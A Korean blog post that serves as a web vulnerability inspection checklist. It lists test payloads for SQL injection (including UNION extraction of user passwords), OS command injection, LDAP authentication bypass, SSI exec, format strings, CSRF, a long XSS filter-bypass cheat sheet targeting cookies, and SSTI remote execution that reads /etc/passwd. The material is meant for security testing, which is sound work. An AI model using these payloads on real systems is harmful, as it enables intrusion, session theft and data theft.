티스토리 뷰

※ 일반적인 점검 방법이며, 양호/취약 여부는 사이트에 따라 다르게 적용,논의될 수 있습니다.

항목 SQL Injection
대상 모든 대상
항목 설명 o 사용자가 간섭 가능한 매개변수(URL 파라미터, XML )에 의해 SQL 질의문이 완성되는 점을 이용하여,
해당 매개변수 변조를 통해 비정상 질의 가능 여부를 점검
점검 기준 - URL 파라미터 또는 XML 등 입력하는 부분에 SQL 구문 입력 후 서버에서 응답한 값에 대한 위험성 점검
- SQL문으로 해석될 수 있는 값(글번호, 검색 내용 등)을 입력하여 데이터베이스내에 저장된 정보 열람 및 시스템 명령 실행가능 여부 점검
- 조작된 XPath 쿼리를 보내어 비정상적인 질의 가능 여부 점검 등
점검 방법 ※ SQL Injection의 경우 공격 방식이 매우 다양하여 특수문자 및 쿼리 삽입 후 응답 값에 따라 추가 진행
(아래 사항은 참고자료로 서비스,환경 등의 다양한 요인에 따라 유효성 검증은 상이할 수 있음)

1. SQL 동작 확인 구문
'
`
#
$
%
^
&
' or 1=1#
' or 1=1--
AND 1=1--
AND 1=0--
AND 1=1#
AND 1=0#

2.
오류메시지로 테이블명 및 컬럼명 확인

HAVING 1=0#
HAVING 1=1--

3. USER
테이블 조회

UNION ALL SELECT USER()--
UNION ALL SELECT USER()#

4.
컬럼 개수 확인

ORDER BY 1--
ORDER BY 2--
ORDER BY 1#
ORDER BY 2#

5. 그외
- 게시글 조회
SELECT * FROM Board WHERE title LIKE '% ' UNION SELECT null,id,passwd FROM Users -- INPUT%' OR contents '%INPUT%'

- Blinde SQL Injection
SELECT * FROM Users WHERE id = 'abc123' and ASCII(SUBSTR((SELECT name FROM information_schema.tables WHERE table_type='base table' limit 0,1),1,1)) > 100 (로그인이 될 때까지 시도) -- INPUT1' AND password = 'INPUT2'

 

항목 운영체제 명령실행
대상 명령 실행 기능 대상
항목 설명 o 운영체제 내 임의 명령어 실행이 가능한 인터페이스의 존재 여부를 점검
점검 기준 - 내부 서버에 명령어를 내릴 수 있는 인터페이스가 존재할 경우,
지정된 명령어 이외의 임의 명령 실행 가능 여부 점검 등
점검 방법 1. 명령 실행을 위한 특수문자 삽입
-1. &: 윈도우 명령어 해석기에서 첫 번째 명령이 성공했을 경우만 두 번째 명령어를 실행
-2. |: 첫 번째 명령어가 성공하는지에 상관없이 두 번째 명령어를 실행
-3. `: 쉘 해석기가 명령어를 해석하다 역 작은따옴표(`) 내에 포함된 명령어를 만나면 기존 명령어를 계속 실행하기 전에 역 작은따옴표로 둘러싸인 명령어를 먼저 실행
-4. ;: 유닉스 계열 시스템에서 단일 라인에서 복수의 명령어 실행에 사용

2. 특수문자 우회(URL 인코딩)
-1. |: %7c
-2. &: %26
-3. `: %60
-4. ;: %3b

3. 점검용 명령어
-1. whoami: 현재 로그인 한 사용자 아이디 확인
-2. uname –a: 운영체제, 호스트 이름, 시스템 사양 확인
-3. ls –al: 현재 디렉토리 위치의 모든 디렉토리 및 파일 리스트 및 권한 출력
-4. ifconfig: 네트워크 인터페이스 출력
-5. ping: ICMP를 이용하여 패킷을 보내고 응답을 받아 네트워크 상태를 확인
-6. echo: 입력한 문자열을 출력

 

항목 리다이렉트 기능을 이용한 피싱 공격
대상 모든 대상
항목 설명 리다이렉트 기능이 존재 시 URL 인자값에 대한 검증 누락으로 인해
임의페이지로 이동 가능성이 존재 하여 해당 기능 및 인자값 검증 여부를 점검 
점검 기준 - 리다이렉트 기능이 존재할 경우 URL 인자값을 임의의 페이지로 지정하여 이동 가능 여부 점검 등
점검 방법 1. 리다이렉트 동작 확인
1) 리다이렉트 파라미터 확인 (ex. RetunURL)
2) 아래 값을 삽입하여 리다이렉트 동작 확인
  A) https://naver.com (예시로 작성한 URL이며, 타 오픈된 URL 모두 가능)
  B) http://naver.com
  C) naver.com
 
2. URL 인코딩을 통한 우회
1) 리다이렉트 파라미터 확인
2) 아래와 같은 방법으로 리다이렉트 동작 확인
  A) %68%74%74%70%73%3a%2f%2f%6e%61%76%65%72%2e%63%6f%6d
  B) %68%74%74%70%3a%2f%2f%6e%61%76%65%72%2e%63%6f%6d
  C) %6e%61%76%65%72%2e%63%6f%6d
 
※ XSS과 연계 공격 가능

 

항목 LDAP Injection
대상 모든 대상
항목 설명 o 이용자 입력을 기반으로 LDAP(Lightweight Directory Access Protocol) 구문을 구축하여 웹 기반 응용 프로그램 악용 여부를 점검
점검 기준 - 쿼리를 주입함으로써 개인정보 등의 내용이 유출 가능 여부 점검
- 입력 값에 대해 특수문자(=, +, <, >, #, ;, / )를 입력하여 LDAP 명령어가 실행되는지 여부 점검 등
점검 방법 1. LDAP 동작 확인 구문
*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|


2. 인증 우회 구문
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y

 

항목 SSI Injection
대상 모든 대상
항목 설명 o CGI 또는 서버사이드 스크립트를 통해 만들어진 웹사이트에서 입력값에 부적절한 명령문을 삽입하여 실행 가능 여부를 점검
점검 기준 - 변수(입력값) 값에 부적절한 명령문을 삽입하여 실행 가능 여부 점검
점검 방법 1. SSI Injection 공격 구문
<!--#echo var = "DATE_LOCAL" -->
<!--#echo var="DOCUMENT_NAME"-->
<!--#exec cmd="ls" -->
<!--#exec cmd="dir"-->

 

항목 버퍼오버플로우(Buffer Overflow Attack)
대상 C언어 구현 대상
항목 설명 o C언어의 strcpy, gets 등과 같이 버퍼의 경계 검사를 하지 않는 취약한 함수를 사용함으로써 발생되는 취약점으로,
해당 취약점을 통해 시스템 권한 획득, 프로그램 흐름 변경 등의 악의적인 행위 가능 여부를 점검
점검 기준 - 파라미터 입력 값에 허용 이상의 데이터 삽입 시 결함 발생 여부 점검 등
점검 방법 1. 입력값 길이 제한 적절성 확인
1) 입력 값에 큰 길이의 문자 삽입 후 에러 페이지 또는 오류 발생 확인
  A) testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest…
텍스트 필드에 입력 값 검증(특수문자 제한, maxlength )이 설정된 경우 우회 시도 필요
    (
: 로컬 프록시를 사용하여 요청 시 파라미터 값에 대량의 문자열 직접 입력 등)

 

항목 포멧스트링(Format String Attack)
대상 C언어 구현 대상
항목 설명 o C언어의 printf와 같은 함수에서 검증되지 않은 입력값을 사용함으로써 발생되는 취약점으로, 해당 취약점을 통해 다른 메모리 공간에 대한 접근 가능 여부를 점검
점검 기준 * (평가 예시)
- printf 와 같은 취약한 함수 사용 시 별도의 문자열 검증 수행 여부 점검 등
점검 방법 1. 입력값에 포맷 값 삽입
1) 입력값 포맷 제한 확인
  A) %n%n%n%n%n%n%n%n%n%n%n…
  B) %s%s%s%s%s%s%s%s%s%s%s%s…
※ %n 은 이전까지 입력되었던 문자열의 길이(Byte)수 만큼 해당 변수에 저장시키기 때문에 메모리의 내용도 변조 가능하므로 Format String 취약점에서 핵심이기도 함.
   
문자열의 길이를 변조시키고 싶은 값의 길이만큼 만든 후 %n을 써주게 되면 메모리상에 공격자가 원하는 값을 넣을 수 있게 됨

 

항목 크로스사이트 요청 변조(CSRF)
대상 모든 대상
항목 설명 o 공격자가 업로드 한 악의적 행위 구문으로 인해 타 이용자의 권한 도용이 가능한지에 대한 점검
점검 기준 - 타 이용자의 권한으로 실행하고자 하는 구문*을 업로드 후 해당 이용자 권한으로 구문이 실행되는지 가능 여부 점검 등
점검 방법 1. CSRF 공격 절차
1) Stored XSS 취약점이 존재하는 페이지 접근
2) 수정이나 권한 부여 등의 기능 함수 삽입
  A) Click Me
  B) <form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
      <input name="username" type="hidden" value="CSRFd" />
      <input type="submit" value="Submit Request" />
      </form>
3) 취약한 게시글 접근 시 함수 타인의 권한으로 기능이 실행되는지 확인
 
2. 타 사이트 CSRF 공격 절차
1) 공격 대상 페이지에 Referer 검증을 수행하고 있는지 확인
2) Stored XSS 취약점이 존재하는 타 사이트 페이지 접근
3) 수정이나 권한 부여 등의 기능 함수 삽입
  A) Click Me
  B) <form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
      <input name="username" type="hidden" value="CSRFd" />
      <input type="submit" value="Submit Request" />
      </form>
※ Stroed XSS 경로 - 타 사이트 / CSRF 경로 - 공격 대상 사이트
4) 취약한 게시글 접근 시 함수 타인의 권한으로 기능이 실행되는지 확인

 

항목 크로스 사이트 스크립팅(XSS)
대상 모든 대상
항목 설명 o 공격자가 업로드한 스크립트가 타 이용자의 사용환경(브라우저, 웹뷰 등)에서의 실행 가능 여부를 점검
점검 기준 - 크로스사이트 스크립팅 문자열을 데이터베이스에 저장된 값을 확인할 수 있는 페이지에 업로드 시, 해당 스크립트의 실행 여부 점검 등
점검 방법 1. 점검 스크립트 Cheat Sheet(소스코드의 구성에 따라 코드는 변경하여 확인 필요)
1) 기본 점검 구문
"/></Script><Script>alert(1)</Script>

2) 
이벤트 핸들러 우회 구문
" onclick=alert(2-1)//<button ' onclick=alert(2-2)//> */ alert(2-3)//
<Marquee><Img src=x onerror=prompt(3)></Marquee>
<A Onmouseover="alert(4)">/>
<Form><Button Formaction="Javascript:alert(5)">
<IFRAME SRC=# Onmouseover="alert(6)"></IFRAME>
<A Href=javas&#x63ript:alert(7)>7</a>
<Image Src/Onerror=prompt(8)>
"Onclick=prompt(9)><Svg/Onload=prompt(9)>"@x.y
<X Ondblclick=alert(10)>double click
<X Oncopy=alert(11)>copy
<Math><brute href=javascript:alert(12)>click
<Form><input formaction=javascript:alert(13) type=submit value=click>
<Iframe Srcdoc=<Svg/o&#x6Eload&equals;alert&lpar;14)&gt;>
GIF89a/*<svg/onload=alert(15)>*/=alert(document.domain)//;
<Video Onloadstart=alert(16)><Source>
<Select Onchange=alert(17)><option>1<option>2
innerHTML=location.hash>#<Script>alert(18)</Script>
<Abbr Onmousedown="alert(19)">mouse down</abbr>

<style>@keyframes slidein {}</style><label style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(20)"></label>(20)"></label>

<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PS
cxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoZG9jdW1lbnQuY29va2llKSIgLz4KPC9zdmc+#x" /></svg>


3) 
인코딩 우회 구문
javascript%3Aalert%28%26quot%3B21%26quot%3B%29
1%0d%0a}alert(22);function%20a(){//
";alert(23);//
`alert/u002824/u0029`;

<IMGSRC=&#106;&#97;&#118;&#97;&<WBR>#115;&#99;&#114;&#105;&#112;&<WBR>#116;&#58;&#97;&#108;&#101;&<WBR>#114;&#116;&#40;&#39;&#88;&#83<WBR>;&#83;&#39;&#41>

 
4) 필터링 우회 구문
</scrscriptipt><scrscriptipt>alealertrt(1)</scrscriptipt>

[꺽쇠 필터 : type hidden이 아닐 시]
  1. onfocus="alert(document.cookie)"
  2. "+onfocus="alert(1)"+autofocus
  3. " onload=alert(1)

[꺽쇠 필터 : type hidden 일 시]
  1. "+accesskey="x"+onclick="alert(1)
  2. "+accesskey="x"+onclick="location.href='https://test.co.kr'
  3. "onmouseover="alalertert(1)"style="display:block;width:100%;height:1000px;"+a="

[type=hidden 이면서 type input value보다 뒤에 정의되어 있을 시]
  1. "+type="text"+onfocus=alert(45)+autofocus+test="

 
2. 점검 우회 패턴
1) 대체문자 삽입 기법
  A) 싱글 쿼터, 더블쿼터는 백쿼터로 우회 가능
(Ex. alert('
문자열을 입력하고 싶어요') → alert(
`이렇게 입력해도 동일하게 문자열이에요`))

  B) 싱글 쿼터, 더블쿼터, 백쿼터는 정규표현식으로 우회 가능
(Ex. alert('
문자열을 입력하고 싶어요') → alert(
/이렇게 입력해도 동일하게 문자열이에요/))

  C) 마침표는 대괄호로 우회 가능
(Ex. alert(document.cookie) → alert(document['cookie']))

2) 인코딩 기법
  A) 일부 문자를 다음과 같이 HEX 인코딩으로 우회 가능 (Ex. javascript: → jav&#97;script:)
  B) 특정 HEX 인코딩 문자만(&#97;)을 필터링하는 경우에는 다음과 같이 우회 가능
(Ex. javascript: → jav&#00000000000000000000097;script:)

위와 같이 HEX 인코딩된 문자는 태그의 속성 값 또는 동적으로 HTML 페이지에 추가 입력되는 경우 원래의 값으로 복원되는 특성이 존재 (상시 점검에서 자주 발생하는 문제)
※ JSTL cout: 을 사용할 수 없기 때문에 상기와 같은 상황에서는 리턴 처리하거나, 해당 파라미터에 유효한 입력 값 형태를 정규표현식으로 정의하여 처리 권고

3) JavaScript 함수 활용
  A) 이후에 오는 문자열 필터링의 경우에는 Optional Channing을 활용하여 우회 가능
(Ex. alert(document.cookie) → alert(document?.cookie))

  B) with함수로 싱글쿼터, 더블쿼터, 백쿼터 등등을 사용하지 않고 문자열 필터링 우회 가능
(Ex. alert(document.cookie) → alert(with(document){alert(cookie)}))

  C) eval함수와 atob함수를 조합하면 문자열 필터링 우회 가능
(Ex. alert(document.cookie) → alert(eval("documen".concat("t.c","ookie"))))

  D) isNaN 또는 Boolean객체로 eval 함수 대체 
(Ex. alert(document.cookie) → alert(isNaN[`construct`+`or`](atob(`YWxlcnQoJ1hTUyBWdWxuQEBAQCEnKQ==`))()))

4) 변수에 저장된 값 조합
  A) 아래와 같이 변수에 담긴 문자를 조합하여 XSS 페이로드를 제작
  (Ex. <svg @/onclick="([,
,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[+=+++++++++][](+++++'(eval(`docume`+`nt.cookie`))')()">)

----------------------------------
[]{} = [object Object]
[!!
] = true
!
= false
. = undefined
----------------------------------

 

항목 서버 사이드 템플릿 인젝션(SSTI)
대상 모든 대상
항목 설명 서버 사이트 템플릿 인젝션(SSTI)는 웹 서버의 템플릿 엔진이 입력값을 적절하게 처리하지 않아 공격자가 서버 측의 템플릿을 조작할 수 있는 공격 기법으로,
   
템플릿 엔진에 임의 코드 주입을 통한 원격 코드 실행 등의 위협이 발생될 수 있으므로, 사용자 입력값이 서버측 템플릿 코드에 의해 실행 가능 한지를 점검
점검 기준 - 템플릿 엔진에 임의 코드 주입을 통한 원격 코드 실행 여부 점검 등
사용자 입력값이 서버측 템플릿 코드에 의해 실행 가능 한지를 점검
점검 방법 1. 점검 스크립트 Cheat Sheet
1) 기본 점검 구문
https://[target]/url?payload=fs${34*95}ec
https://[target]/url?payload={class.getResource("../../../../../index.htm").getContent()}
https://[target]/url?payload={T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}